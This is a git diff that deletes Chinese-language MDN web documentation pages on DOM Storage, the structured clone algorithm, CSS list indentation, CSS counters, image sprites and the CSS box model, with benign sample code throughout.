-      document.cookie = escape(sKey) + "=" + escape(sValue) + "; path=/";
-      this.length = document.cookie.match(/\=/g).length;
-    },
-    length: 0,
-    removeItem: function (sKey) {
-      if (!sKey || !this.hasOwnProperty(sKey)) { return; }
-      var sExpDate = new Date();
-      sExpDate.setDate(sExpDate.getDate() - 1);
-      document.cookie = escape(sKey) + "=; expires=" + sExpDate.toGMTString() + "; path=/";
-      this.length--;
-    },
-    hasOwnProperty: function (sKey) { return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie); }
-  };
-  window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;
-}
-
-
- Note: The maximum size of data that can be saved is severely restricted by the use of cookies. With this algorithm, use the functions localStorage.getItem(), localStorage.setItem() and localStorage.removeItem() to get, add, change or remove a key. The use of method localStorage.yourKey in order to get, set or delete a key is not permitted with this code. You can also change its name and use it only to manage a document's cookies regardless of the localStorage object.
-
- 与 globalStorage 的关系的兼容性
-

- localStorage is also the same as globalStorage[location.hostname], with the exception of being scoped to an HTML5 origin (scheme + hostname + non-standard port) and localStorage being an instance of Storage as opposed to globalStorage[location.hostname] being an instance of StorageObsolete which is covered below. 例如,在 http://example.com 中不能访问 https://example.com 中的 localStorage 对象,但是它们都可以访问同一个 globalStorage。 localStorage 是个标准接口,但 globalStorage 是非标准的。所以你的代码最好不要依赖这些关系。

-

- Please note that setting a property on globalStorage[location.hostname] does not set it on localStorage and extending Storage.prototype does not affect globalStorage items, only extending StorageObsolete.prototype does.

-

- globalStorage

-

- {{ Non-standard_header() }}{{ obsolete_header("13.0") }}globalStorage is obsolete since Gecko 1.9.1 (Firefox 3.5) and unsupported since Gecko 13 (Firefox 13). Just use {{ Anch("localStorage") }} instead. This proposed addition to HTML 5 has been removed from the HTML 5 specification in favor of <code>localStorage</code>, which is implemented in Firefox 3.5. This is a global object (globalStorage) that maintains multiple private storage areas that can be used to hold data over a long period of time (e.g. over multiple pages and browser sessions).

-
- Note: globalStorage is not a Storage instance, but a StorageList instance containing StorageObsolete instances.
-
// Save data that only scripts on the mozilla.org domain can access
-globalStorage['mozilla.org'].setItem("snippet", "<b>Hello</b>, how are you?");
-
-

- Specifically, the globalStorage object provides access to a number of different storage objects into which data can be stored. For example, if we were to build a web page that used globalStorage on this domain (developer.mozilla.org) we'd have the following storage object available to us:

-
    -
  • - globalStorage{{ mediawiki.external('\'developer.mozilla.org\'') }} - All web pages within the developer.mozilla.org sub-domain can both read and write data to this storage object.
  • -
-

- 例子:

-

- All of these examples require that you have a script inserted (with each of the following code) in every page that you want to see the result on.

-

- Remember a user's username for the particular sub-domain that is being visited:

-
 globalStorage['developer.mozilla.org'].setItem("username", "John");
-
-

- Keep track of the number of times that a user visits all pages of your domain:

-
 // parseInt must be used since all data is stored as a string
- globalStorage['mozilla.org'].setItem("visits", parseInt(globalStorage['mozilla.org'].getItem("visits") || 0 ) + 1);
-
-

- 存储位置以及清除数据

-

- In Firefox the DOM storage data is stored in the webappsstore.sqlite file in the profile folder (there's also chromeappsstore.sqlite file used to store browser's own data, notably for the start page - about:home, but potentially for other internal pages with "about:" URLs).

-
    -
  • - DOM Storage can be cleared via "Tools -> Clear Recent History -> Cookies" when Time range is "Everything" (via nsICookieManager::removeAll) -
      -
    • - But not when another time range is specified: (bug 527667)
    • -
    • - Does not show up in Tools -> Options -> Privacy -> Remove individual cookies (bug 506692)
    • -
    -
  • -
  • - DOM Storage is not cleared via Tools -> Options -> Advanced -> Network -> Offline data -> Clear Now.
  • -
  • - Doesn't show up in the "Tools -> Options -> Advanced -> Network -> Offline data" list, unless the site also uses the offline cache. If the site does appear in that list, its DOM storage data is removed along with the offline cache when clicking the Remove button.
  • -
-

- See also clearing offline resources cache.

-

- 更多信息

- -

- 例子

-
    -
  • - JavaScript Web Storage Tutorial: Creating an Address Book Application - hands-on tutorial describing how to use the Web Storage API by creating a simple address book application
  • -
  • - offline web applications at hacks.mozilla.org - showcases an offline app demo and explains how it works.
  • -
  • - Noteboard - Note writing application that stores all data locally.
  • -
  • - jData - A shared localStorage object interface that can be accessed by any website on the internet and works on Firefox 3+, Webkit 3.1.2+ nightlies, and IE8. Think of it as pseudo-globalStorage[""] but write access needs user confirmation.
  • -
  • - HTML 5 localStorage example. Very simple and easy to understand example of localStorage. Saves and retrieves texts and shows a list of saved items. Tested in Firefox 3 or higher.
  • -
  • - HTML5 Session Storage. A very simple example of session storage. Also includes a example on local storage. Tested in Firefox 3.6 or higher.
  • -
  • - Basic DOMStorage Examples - Broken in Firefox 3 and up due to use of globalStorage on one domain level up from the current domain which is not allowed in Firefox 3.
  • -
  • - halfnote - (displaying broken in Firefox 3) Note writing application that uses DOM Storage.
  • -
-

- 浏览器兼容性

-

- {{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Feature - Chrome - Firefox (Gecko) - Internet Explorer - Opera - Safari (WebKit)
- localStorage - 4 - 3.5 - 8 - 10.50 - 4
- sessionStorage - 5 - 2 - 8 - 10.50 - 4
- globalStorage - {{ CompatNo() }} - 2-13 - {{ CompatNo() }} - {{ CompatNo() }} - {{ CompatNo() }}
-
-
- - - - - - - - - - - - - - - - - - - -
- Feature - Android - Firefox Mobile (Gecko) - IE Phone - Opera Mobile - Safari Mobile
- Basic support - {{ CompatUnknown() }} - {{ CompatUnknown() }} - {{ CompatUnknown() }} - {{ CompatUnknown() }} - {{ CompatUnknown() }}
-
-

- All browsers have varying capacity levels for both local- and sessionStorage. Here is a detailed rundown of all the storage capacities for various browsers.

-

-  

-

- 相关链接

- -

- {{ HTML5ArticleTOC() }}

-

- {{ languages( { "es": "es/DOM/Almacenamiento", "fr": "fr/DOM/Storage", "ja": "ja/DOM/Storage", "pl": "pl/DOM/Storage", "en": "en/DOM/Storage" } ) }}

-

- ---------------------------------

-

-  

-

- 摘要

-

- DOM Storage,就是在Web Applications 1.0 specification中介绍的那些存储相关特性集合的名称。相比较在cookies中存储信息来说,DOM Stroage更大、更安全、更易于使用的。目前支持的浏览器包括Mozilla Firefox 2+, Google Chrome, Apple Safari, Opera和Microsoft IE9+,在移动设备上也包括iPhone & iPad Safari。

-
- Note: DOM Storage 与 mozStorage (Mozilla对于SQLite的XPCOM接口)和Session store API(扩展使用的一个XPCOM存储).不同
-

- 描述

-

- DOM Storage机制是一种通过字符串形式的名/值对来安全地存储和使用的方法。这个附加功能的目标是提供一个更全面的、可以创建交互式应用程序的方法(包括那些高级功能,例如可以离线工作一段时间)。

-

- 目前,只有基于Mozilla的浏览器提供了DOM Storage的实现。不过,Internet Explorer也有一个类似的特性,叫做"userData behavior",他允许你在多重浏览器会话中永久地保存数据。

-

- DOM Storage 是很有用的,因为在任何一段时期都没有一个很好的、只通过浏览器来永久存储合理大小的数据的方法。浏览器cookies 限制了存储容量,而且并没有为组织永久性的数据提供支持,并且其他的方法还需要外部插件来实现(例如Flash Local Storage)。

-

- 第一个使用了新的DOM Storage功能(除了Internet Explorer 的 userData Behavior之外)的公共应用程序是由 Aaron Boodman 写的 halfnote(一个便签应用程序) 。在他的程序中,Aaron同时把便签内容保存到服务器上(当Internet连接可用时)和一个本地数据存储中。这就允许用户即便是在不定式发生internet连接中断时,也可以安全的写一些有备份的便签。

-

- 不过,在halfnote中表现出来的概念和实现,都还是相对简单的。它的诞生揭示了一种新的、可以在线或离线使用的网络应用程序。

-

- 参考

-

- 下面的内容都是作为每个window 对象的属性存在的全局对象。这也就是说,可以通过sessionStorage 或者 window.sessionStorage 来访问它们。(这很重要,因为随后你可以使用iframe来存储、访问、添加那些并不是立刻就包含在你页面中的数据。)

-

- sessionStorage

-

- 这是一个全局对象(sessionStorage),它含有一个在页面会话有效期内可用的存储区域。只要页面没有关闭,一个页面会话就始终保持着,并且当页面被重新载入或恢复时“复活”。打开一个新的标签页或新窗口都会初始化新的会话。

-
// 将数据存入当前会话的一个存储中
-sessionStorage.username = "John";
-
-// 访问某些已存储的数据
-alert( "username = " + sessionStorage.username );
-
-

- sessionStorage 对象是最有用的,它持有那些应该保存的临时数据,而且一旦浏览器突然被刷新时,要恢复的那些数据,

-
- Note: sessionStorage 还应该有在浏览器崩溃后存储和恢复数据的功能,不过由于{{ Bug(339445) }}的原因,这个功能到现在还没有在Firefox中实现。这个功能实现之后,sessionStorage的防御功能就十分有用了。
-

- 举例:

-

- 自动保存文本字段的内容,如果浏览器突然被刷新,就恢复字段内容,这样就不会丢失任何输入了。

-
 // 获得我们要跟踪的那个文本字段
- var field = document.getElementById("field");
-
- // 看看我们是否有一个autosave的值
- // (这将只会在页面被突然刷新时发生)
- if ( sessionStorage.autosave ) {
-     // 恢复文本字段中的内容
-     field.value = sessionStorage.autosave;
- }
-
- // 每秒钟检查一次文本字段的内容
- setInterval(function(){
-     // 并把结果保存到会话存储对象中
-     sessionStorage.autosave = field.value;
- }, 1000);
-
-

- 更多信息:

- -

- globalStorage

-

- 这是一个全局对象(globalStorage),它维护着各种公共的或者私有的,可以用来长时期保存数据的存储空间(例如,在多重的页面和浏览器会话之间)。

-
// 可以这样访问那些仅对mozilla.org域上的脚本保存的数据
-globalStorage['mozilla.org'].snippet = "<b>Hello</b>, how are you?";
-
-// 可以这样访问为任何网页任何域存储的数据
-globalStorage[''].favBrowser = "Firefox";
-
-

- 特别地,globalStorage对象,提供了访问一些不同的可以保存数据的存储对象的方法。例如,如果我们要建立一个可以在域(developer.mozilla.org)下面可以使用globalStorage的网页,我们有下面这些存储对象可以使用:

-
    -
  • - globalStorage{{ mediawiki.external('\'developer.mozilla.org\'') }} - 在developer.mozilla.org下面所有的子域都可以通过这个存储对象来进行读和写。
  • -
  • - globalStorage{{ mediawiki.external('\'mozilla.org\'') }} - 在mozilla.org域名下面的所有网页都可以通过这个存储对象来进行读和写。
  • -
  • - globalStorage{{ mediawiki.external('\'org\'') }} - 在.org域名下面的所有网页都可以通过这个存储对象来进行读和写。
  • -
  • - globalStorage{{ mediawiki.external('') }} - 在任何域名下的任何网页都可以通过这个存储对象来进行读和写。
  • -
-
- 注意: firefox目前还没有实现globalStorage{{ mediawiki.external('tld') }}globalStorage{{ mediawiki.external('') }} (会抛出一个安全错误),这是由于对于这些名字空间可以进行随意读写的话是有安全漏洞的 更多信息
-

- 示例:

-

- 下面这些示例,需要你在所有想看到效果的页面中都插入脚本(包括如下所有的代码)。

-

- 记录某个指定子域名下面正在访问的用户的username:

-
 globalStorage['developer.mozilla.org'].username = "John";
-
-

- 跟踪一个用户在你的域名下所访问的所有页面的次数:

-
 // 由于所有数据都是被当作一个字符串来保存的,所以这里必须使用parseInt
- globalStorage['mozilla.org'].visits =
-     parseInt( globalStorage['mozilla.org'].visits || 0 ) + 1;
-
-

- 记录所有你访问的网站:

-
 globalStorage[''].sites += "," + location.hostname;
-
-

- 更多信息:

- -

- More information

- -

- Examples

- - - diff --git a/files/zh-cn/web/guide/api/dom/the_structured_clone_algorithm/index.html b/files/zh-cn/web/guide/api/dom/the_structured_clone_algorithm/index.html deleted file mode 100644 index 60444f8dc4..0000000000 --- a/files/zh-cn/web/guide/api/dom/the_structured_clone_algorithm/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: 结构化克隆算法 -slug: Web/Guide/API/DOM/The_structured_clone_algorithm -tags: - - DOM - - HTML5 - - 结构化克隆算法 -translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm ---- -

结构化克隆算法是由HTML5规范定义的用于复制复杂JavaScript对象的算法。通过来自 Workers的 postMessage() 或使用 IndexedDB 存储对象时在内部使用。它通过递归输入对象来构建克隆,同时保持先前访问过的引用的映射,以避免无限遍历循环。

- -

结构化克隆所不能做到的

- -
    -
  • Error 以及 Function 对象是不能被结构化克隆算法复制的;如果你尝试这样子去做,这会导致抛出 DATA_CLONE_ERR 的异常。
  • -
  • 企图去克隆 DOM 节点同样会抛出 DATA_CLONE_ERROR 异常。
  • -
  • 对象的某些特定参数也不会被保留 -
      -
    • RegExp 对象的 lastIndex 字段不会被保留
    • -
    • 属性描述符,setters 以及 getters(以及其他类似元数据的功能)同样不会被复制。例如,如果一个对象用属性描述符标记为 read-only,它将会被复制为 read-write,因为这是默认的情况下。
    • -
    • 原形链上的属性也不会被追踪以及复制。
    • -
    -
  • -
- -

支持的类型

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
对象类型注意
所有的原始类型symbols 除外
Boolean 对象 
String 对象 
Date 
RegExplastIndex 字段不会被保留。
{{ domxref("Blob") }} 
{{ domxref("File") }} 
{{ domxref("FileList") }} 
ArrayBuffer 
ArrayBufferView这基本上意味着所有的 类型化数组 ,如 Int32Array 等。
{{ domxref("ImageData") }} 
Array 
Object仅包括普通对象(如对象字面量)
Map 
Set 
- -

相关链接

- - diff --git a/files/zh-cn/web/guide/css/consistent_list_indentation/index.html b/files/zh-cn/web/guide/css/consistent_list_indentation/index.html deleted file mode 100644 index 1426940c48..0000000000 --- a/files/zh-cn/web/guide/css/consistent_list_indentation/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: 调整列表缩进 -slug: Web/Guide/CSS/Consistent_list_indentation -tags: - - CSS - - Guide - - NeedsUpdate - - Web - - 列表 - - 缩进 -translation_of: Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation ---- -

对列表最常见的样式修改之一是改变缩进距离,即列表项向右侧移动的距离。令人沮丧的是,缩进在一个浏览器中的表现常常与其他浏览器中的效果不尽相同。例如,如果声明列表的左边距为0,在IE浏览器中生效,但是在基于Gecko引擎的浏览器中却不起作用。本文将帮助你理解这些可能发生的问题,以及如何避免这些问题的产生。

- -

为了弄明白这是为什么,以及如何避免这些问题发生,有必要研究一下列表结构的具体细节。

- -

创建一个列表

- -

首先,来看一个简单,单独的列表项目。该列表项目没有标记符号(或称之为“着重号”),并且没有被列表包裹起来。如下图图1所示,单独的列表项是无效的,简单且没有任何装饰。

- -

Figure 1

- -

红色的虚线边框代表列表项目内容区域的外边界。记住,从这一点上看,这个列表项目没有内边距和边框。如果我们再添加两个列表项目,我们得到下面的结果,如图2所示。

- -

Figure 2

- -

现在我们在外面加上父元素;这个例子中,我们使用一个无序列表(i.e., <ul>)。根据 CSS 盒子模型,列表项目的盒子必须显示在其父元素的内容区域里。因为这里的父元素既没有 padding 也没有 margin,所以我们得到下面的结果,如图3所示。

- -

Figure 3

- -

这里,蓝色的虚线边框表示 <ul> 元素内容区域的边缘。因为我们没有给 <ul> 元素添加内边距,  所以它的内容的包裹层紧贴在三个列表项外。

- -

现在我们来添加列表项目标记,由于这是一个无序列表,我们添加传统的实心圆“着重标记”,如下图图4所示。

- -

Figure 4

- -

可以看到,这些标记符号在<ul>内容区域的外面,但这无关紧要。重要的是,这些标记被放到主要的<li>元素盒子外面了。它们有点像列表项目的附件,在<li>的内容区域外游荡,但依然依附于<li>。

- -

这就是为什么在除了IE浏览器以外的所有浏览器上,标记符号都被放在<li>元素的边框外,假设列表项位置的值为外部"outside"。如果该值被改为内部"inside",则标记符号会被放到<li>的内容区域里面,像是放在<li>最开头的内联盒子一样。

- -

二次缩进

- -

So how will all this appear in a document? At the moment, we have a situation analogous to these styles:

- -
ul, li {margin-left: 0; padding-left: 0;}
- -

If we dropped this list into a document as-is, there would be no apparent indentation and the markers would be in danger of falling off the left edge of the browser window.

- -

In order to avoid this and get some indentation, there are really only three options available to browser implementors.

- -
    -
  1. Give each <li> element a left margin.
  2. -
  3. Give the <ul> element a left margin.
  4. -
  5. Give the <ul> element some left padding.
  6. -
- -

As it turns out, nobody seems to have used the first option. The second option was taken by Internet Explorer for Windows and Macintosh, and Opera. The third was adopted by Gecko, and by extension all the browsers that embed it.

- -

Let's look at the two approaches for a moment. In Internet Explorer and Opera, the lists are indented by setting a left margin of 40 pixels on the <ul> element. If we apply a background color to the <ul> element and leave the list item and <ul> borders in place, we get the result shown in Figure 5.

- -

Figure 5

- -

Gecko, on the other hand, sets a left padding of 40 pixels for the <ul> element, so given the exact same styles as were used to produce Figure 5, loading the example into a Gecko-based browser gives us Figure 6.

- -

Figure 6

- -

As we can see, the markers remain attached to the <li> elements, no matter where they are. The difference is entirely in how the <ul> is styled. We can only see the difference if we try to set a background or border on the <ul> element.

- -

Finding Consistency

- -

Boil it all down, and what we're left with is this: if you want consistent rendering of lists between Gecko, Internet Explorer, and Opera, you need to set both the left margin and left padding of the <ul> element. We can ignore <li> altogether for these purposes. If you want to reproduce the default display in Netscape 6.x, you write:

- -
ul {margin-left: 0; padding-left: 40px;}
- -

If you're more interested in following the Internet Explorer/Opera model, then:

- -
ul {margin-left: 40px; padding-left: 0;}
- -

Of course, you can fill in your own preferred values. Set both to 1.25em, if you like -- there's no reason why you have to stick with pixel-based indentation. If you want to reset lists to have no indentation, then you still have to zero out both padding and margin:

- -
ul {margin-left: 0; padding-left: 0;}
- -

Remember, though, that in so doing, you'll have the bullets hanging outside the list and its parent element. If the parent is the body, there's a strong chance your bullets will be completely outside the browser window, and thus will not be visible.

- -

结论

- -

In the end, we can see that none of the browsers mentioned in this article is right or wrong about how they lay out lists. They use different default styles, and that's where the problems creep in. By making sure you style both the left padding and left margin of lists, you can find much greater cross-browser consistency in your list indentation.

- -

建议

- -
    -
  • 在你调整列表的缩进的时候,务必确认同时设置了 padding 和 margin.
  • -
- -
-

原始文档信息

- -
    -
  • Author(s): Eric A. Meyer, Netscape Communications
  • -
  • Last Updated Date: Published 30 Aug 2002
  • -
  • Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.
  • -
  • Note: This reprinted article was originally part of the DevEdge site.
  • -
-
- -

{{ languages( { "fr": "fr/Indentation_homog\u00e8ne_des_listes" } ) }}

diff --git a/files/zh-cn/web/guide/css/counters/index.html b/files/zh-cn/web/guide/css/counters/index.html deleted file mode 100644 index 4a8fa17797..0000000000 --- a/files/zh-cn/web/guide/css/counters/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: 使用CSS计数器 -slug: Web/Guide/CSS/Counters -tags: - - CSS - - CSS List - - Web - - counter - - 教程 -translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters ---- -
{{CSSRef}}
- -

本质上CSS计数器是由CSS维护的变量,这些变量可能根据CSS规则增加以跟踪使用次数。这允许你根据文档位置来调整内容表现。 CSS计数器是CSS2.1中自动计数编号部分的实现。

- -

计数器的值通过使用{{cssxref("counter-reset")}} 和 {{cssxref("counter-increment")}} 操作,在 content 上应用 counter()counters()函数来显示在页面上。

- -

使用计数器

- -

使用CSS计数器之前,必须重置一个值,默认是0。使用{{cssxref("counter()")}}函数来给元素增加计数器。 下面的CSS给每个h3元素的前面增加了 "Section <计算器值>:"。

- -
body {
-  counter-reset: section;           /* 重置计数器成0 */
-}
-h3:before {
-  counter-increment: section;      /* 增加计数器值 */
-  content: "Section " counter(section) ": "; /* 显示计数器 */
-}
-
- -

例如:

- -
<h3>Introduction</h3>
-<h3>Body</h3>
-<h3>Conclusion</h3>
- -

{{ EmbedLiveSample('使用计数器', 300,200) }}

- -

计数器嵌套

- -

CSS计数器对创建有序列表特别有用,因为在子元素中会自动创建一个CSS计数器的实例。使用 counters() 函数,在不同级别的嵌套计数器之间可以插入字符串。比如这个CSS例子:

- -
ol {
-  counter-reset: section;                /* 为每个ol元素创建新的计数器实例 */
-  list-style-type: none;
-}
-li:before {
-  counter-increment: section;            /* 只增加计数器的当前实例 */
-  content: counters(section, ".") " ";   /* 为所有计数器实例增加以“.”分隔的值 */
-}
-
- -

结合下面的HTML:

- -
<ol>
-  <li>item</li>          <!-- 1     -->
-  <li>item               <!-- 2     -->
-    <ol>
-      <li>item</li>      <!-- 2.1   -->
-      <li>item</li>      <!-- 2.2   -->
-      <li>item           <!-- 2.3   -->
-        <ol>
-          <li>item</li>  <!-- 2.3.1 -->
-          <li>item</li>  <!-- 2.3.2 -->
-        </ol>
-        <ol>
-          <li>item</li>  <!-- 2.3.1 -->
-          <li>item</li>  <!-- 2.3.2 -->
-          <li>item</li>  <!-- 2.3.3 -->
-        </ol>
-      </li>
-      <li>item</li>      <!-- 2.4   -->
-    </ol>
-  </li>
-  <li>item</li>          <!-- 3     -->
-  <li>item</li>          <!-- 4     -->
-</ol>
-<ol>
-  <li>item</li>          <!-- 1     -->
-  <li>item</li>          <!-- 2     -->
-</ol>
- -

结果为:

- -

{{ EmbedLiveSample('计数器嵌套') }}

- -

规范

- - - - - - - - - - - - - - - - - - - - - -
规范状态注释
{{SpecName("CSS3 Lists", "#auto-numbering", "CSS Counters")}}{{Spec2("CSS3 Lists")}}无变化
{{SpecName('CSS2.1', 'generate.html#generate.html#counters', 'counter-reset')}}{{Spec2('CSS2.1')}}初始定义
- -

其它

- - - -

另一个可用的示例在 http://www.mezzoblue.com/archives/20.../counter_intu/。这篇博客 发布于2006年11月1日,但是看上去写得还是准确的。

- -
 
diff --git a/files/zh-cn/web/guide/css/css_image_sprites/index.html b/files/zh-cn/web/guide/css/css_image_sprites/index.html deleted file mode 100644 index 4a3e2bb7c9..0000000000 --- a/files/zh-cn/web/guide/css/css_image_sprites/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: 在 CSS 中实现图像合并 -slug: Web/Guide/CSS/CSS_Image_Sprites -tags: - - CSS - - CSS Image - - Graphics - - Guide - - Web -translation_of: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS ---- -
{{cssRef}}
- -

CSS 图像合并Image sprites) 技术,亦作 CSS 贴图定位、图像精灵(sprite,意为精灵),被运用于众多使用大量小图标的网页应用之上。它可取图像的一部分来使用,使得使用一个图像文件替代多个小文件成为可能。相较于一个小图标一个图像文件,单独一张图片所需的 HTTP 请求更少,对内存和带宽更加友好。

- -
-

备注: 当使用 HTTP/2 时,使用多个小流量请求实际上可能更为带宽友好。

-
- -

实现

- -

若要为所有类名为 toolbtn 的元素附加上一张图片:

- -
.toolbtn {
-  background: url(myfile.png);
-  display: inline-block;
-  height: 20px;
-  width: 20px;
-}
-
- -

为设置 background-position 以使每个按钮得到合并后图片中的正确部分,可以在 background 属性中的 {{cssxref("url()")}} 后添加 x, y 两个坐标值,或直接使用 {{cssxref("background-position")}} 属性。例如:

- -
#btn1 {background-position: -20px 0px}
-#btn2 {background-position: -40px 0px}
-
- -

这会将 ID 为 btn1 的元素的背景向左移 20px,ID 为 btn2 的元素的背景向左移40px(假设这两个元素都带有 toolbtn 这个类且应用了上面 background 属性中定义的图片背景)

- -

类似的,你也可以使用下面的代码添加悬停效果:

- -
#btn:hover {
-  background-position: <pixels shifted right>px <pixels shifted down>px;
-}
-
- -

深入阅读

- -

CSS Tricks 上的完整 Demo:http://css-tricks.com/snippets/css/perfect-css-sprite-sliding-doors-button/

diff --git "a/files/zh-cn/web/guide/css/css\345\237\272\347\241\200/index.html" "b/files/zh-cn/web/guide/css/css\345\237\272\347\241\200/index.html" deleted file mode 100644 index 922f62c536..0000000000 --- "a/files/zh-cn/web/guide/css/css\345\237\272\347\241\200/index.html" +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: CSS基础 -slug: Web/Guide/CSS/CSS基础 -tags: - - CSS - - 'CSS:Getting_Started' - - CSS入门 - - CSS教程 - - Web - - 初学者 - - 教程 ---- -

 

- -

该  CSS 指南  将会带你进入  层叠样式表  (CSS)的世界。本指南将通过实例来引导你学习语言的基本功能(你可以在自己的电脑上运行这些实例),指南还将阐明能够运行在现代浏览器上的 CSS 标准功能。

- -

本指南适合 CSS 的初学者,但如果你已经学会了 CSS 的基本知识,该指南对你也会有所帮助。若你对 CSS 的经验十分丰富,那么本指南就不适合你了,CSS 主页  列出了  更多的高级资源。

- - - -

在开始学习之前你需要准备什么?

- -
    -
  • 一个文本编辑器
  • -
  • 一个现代浏览器
  • -
  • 编辑器与浏览器的基本使用方法
  • -
- -

虽然没有这个要求,但是教程中的练习可以帮助你学习。你也可以只阅读教程、图片,但这是一种效率很低的学习方式。

- -

注意: 教程包括了CSS操作颜色的方法。因此指南的某些部分会依赖颜色。要想更容易的学习这些内容,你需要一个彩色显示器与正常色觉

- -

如何使用本指南

- -

在使用本指南时,需要按顺序仔细阅读每页的内容。如果跳过某个页面,可能会难以理解后续内容。

- -

第一部分:CSS基础

- -

在每页中,通过资料 部分来了解 CSS 的工作原理。通过实践 部分来试着在你的计算机上使用 CSS。

- -

为了测试你对指南的理解程度,可以完成页面底部的挑战内容。挑战内容下面提供了答案的链接,这样你不想看答案的时候没有必要去看它们。

- -

为了深入了解 CSS,可以阅读以更多资料 为标题的方框中内容。你会从其中的超链接里找到更多 CSS 参考资料。

- -

第二部分:CSS的应用范围

- -

指南的第二部分提供了多个实例,用于展示 CSS 与 web 和 Mozilla 的其他技术的使用范围。

- -
    -
  1. JavaScript
  2. -
  3. SVG 图形
  4. -
  5. XML 数据
  6. -
  7. XBL bindings
  8. -
  9. XUL 用户界面
  10. -
- -

 

diff --git a/files/zh-cn/web/guide/css/getting_started/boxes/index.html b/files/zh-cn/web/guide/css/getting_started/boxes/index.html deleted file mode 100644 index 0bfb7e2ed5..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/boxes/index.html +++ /dev/null @@ -1,331 +0,0 @@ ---- -title: 盒模型 -slug: Web/Guide/CSS/Getting_started/Boxes -translation_of: Learn/CSS/Building_blocks -translation_of_original: Web/Guide/CSS/Getting_started/Boxes ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Lists", "列表") }}这是 CSS入门教程 的第11节,本节教你如何使用CSS来控制一个可见元素所占据的空间。在示例文档中,你可以修改元素占据的空间并增加装饰规则。

- -

信息:盒模型

- -

当你的浏览器展现一个元素时,这个元素会占据一定的空间。这个空间由四部分组成。

- -

中间是元素呈现内容的区域。这个区域的外面是内边距。再外面是边框。最外面的是外边距,外边距将该元素与其它元素分开。

- - - - - - - - -
-
-

外边距

- -

边框

- -
-

内边距

- -
-

元素

-
-
-
- -

浅灰色标出了布局的几个部分。

-
-
-

 

- -

 

- -
-

 

- -
-

元素

-
-
-
- -

你在浏览器看到的样子。

-
- -

内边距,边框和外边距在元素的上、右、下、左都可以有不同的大小。所有这些大小值都可以为0。

- -

颜色

- -

内边距总是跟元素的背景色一样,所以当你设置背景色时,你会发现背景色在元素本身和内边距上都生效了。外边距总是透明的。

- - - - - - - - -
-
-

外边距

- -

边框

- -
-

内边距

- -
-

元素

-
-
-
- -

元素有绿色的背景。

-
-
-

 

- -

 

- -
-

 

- -
-

元素

-
-
-
- -

你在浏览器看到的样子。

-
- -

边框

- -

你可以用边线或者边框来装饰元素。

- -

用 {{ cssxref("border") }} 属性给元素四周指定统一的边框。在属性值中指定边框的宽度(通常是以显示到屏幕上的像素为单位), 样式, 还有颜色。

- -

样式包括:

- - - - - - - - - - - - - - - - -
-
solid
-
-
dotted
-
-
dashed
-
-
double
-
-
inset
-
-
outset
-
-
ridge
-
-
groove
-
- -

你也可以通过设置样式为 nonehidden 来明确地移除边框,或者设置边框颜色为 transparent 来让边框不可见,后者不会改变布局。

- -

如果一次只指定某一个方向的边框,就用属性: {{ cssxref("border-top") }}, {{ cssxref("border-right") }}, {{cssxref("border-bottom")}}, {{cssxref("border-left")}}。 你可以用这些属性指定某个方向上的边框,或者不同方向上的不同边框。

- -
-
例子
- -

下面的代码设置了一个h3元素的背景色和顶部边框:

- -
h3 {
-  border-top: 4px solid #7c7; /* 中绿 */
-  background-color: #efe;     /* 浅绿 */
-  color: #050;                /* 深绿 */
-  }
-
- -

结果如下:

- - - - - - - -
-

样式化后的标题

-
- -

下面的规则通过给图片四周设置中灰色边框,使得图片元素更好辨认:

- -
img {border: 2px solid #ccc;}
-
- -

结果如下:

- - - - - - - - -
图片:Image:Blue-rule.png
-
- -

外边距和内边距

- -

使用外边距和内边距调整元素的位置,并在其周围创建空间。

- -

用 {{ cssxref("margin") }} 属性或者 {{ cssxref("padding") }} 属性分别设置外边距和内边距的宽度。

- -

如果你指定一个宽度,它将会作用于元素四周(上、右、下、左)。

- -

如果你指定两个宽度, 第一个宽度会作用于顶部和底部,第二个宽度作用于右边和左边。

- -

你也可以按照顺序指定四个宽度: 上、右、下、左。

- -
-
例子
- -

下面的规则通过给元素四周设置红色边框,标记出了类名为  remark 的段落元素。

- -

文本周围的内边距将边框与文字拉开一点距离。

- -

左外边距使得段落相对于其余文本产生缩进:

- -
p.remark {
-  border: 2px solid red;
-  padding: 4px;
-  margin-left: 24px;
-  }
-
- -

结果如下:

- - - - - - - -
-

这是一个普通的段落。

- -

这是一个标记段落。

-
-
- -
-
更多细节
- -

当你使用外边距和内边距来调整元素的布局时,你的样式规则会与浏览器的默认规则以复杂的方式相互作用。

- -

不同的浏览器布局元素的方式不一样。直到你的样式表修改默认样式,结果可能看起来相似。有时这可能让你的样式表给出令人惊讶的结果。

- -

为了达到理想的效果,你可能需要改变文档的标记。本教程的下一页有更多关于这个的信息。

- -

欲知更多关于内边距,外边距和边框的细节, 请看 盒模型 参考页。

-
- -

实践:添加边框

- -

编辑你的CSS文件,style2.css。添加下面的规则,给页面中每个标题元素上面画一条线:

- -
h3 {border-top: 1px solid gray;}
-
- -

如果你做了前一页的挑战题,现在修改你已经创建的规则,或者添加这条新规则,给每个列表项的下面增加一定的空间:

- -
li {
-  list-style: lower-roman;
-  margin-bottom: 8px;
-  }
-
- -

刷新你的浏览器看看效果:

- - - - - - - -
-

(A) The oceans

- -
    -
  • Arctic
  • -
  • Atlantic
  • -
  • Pacific
  • -
  • Indian
  • -
  • Southern
  • -
- -

(B) Numbered paragraphs

- -

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

